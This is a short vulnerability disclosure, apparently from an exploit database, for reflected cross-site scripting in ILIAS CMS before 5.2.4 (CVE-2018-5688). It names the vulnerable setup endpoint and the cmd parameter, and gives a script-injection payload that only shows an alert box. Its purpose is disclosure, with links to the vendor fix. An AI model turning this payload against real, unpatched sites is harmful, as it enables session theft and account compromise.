ILIAS < 5.2.4 - Cross-Site Scripting

# Exploit Title: Cross Site Scripting in ILIAS CMS 5.2.3
# Date: Apr 24, 2017
# Software Link: https://www.ilias.de
# Exploit Author: Florian Kunushevci
# Contact: https://facebook.com/florianx00
# CVE: CVE-2018-5688
# Category: webapps

1. Description

ILIAS before 5.2.4 has XSS via the cmd parameter to the displayHeader
function in setup/classes/class.ilSetupGUI.php in the Setup component.

2. Proof of Concept

Location : /setup/setup.php
Parameter : ?cmd=
Payload : "><script>alert(1)</script>

3. Solution:

https://www.ilias.de/docu/goto.php?target=lm_1719&client_id=docu

4. References:

https://nvd.nist.gov/vuln/detail/CVE-2018-5688
https://www.ilias.de/docu/goto_docu_pg_75029_35.html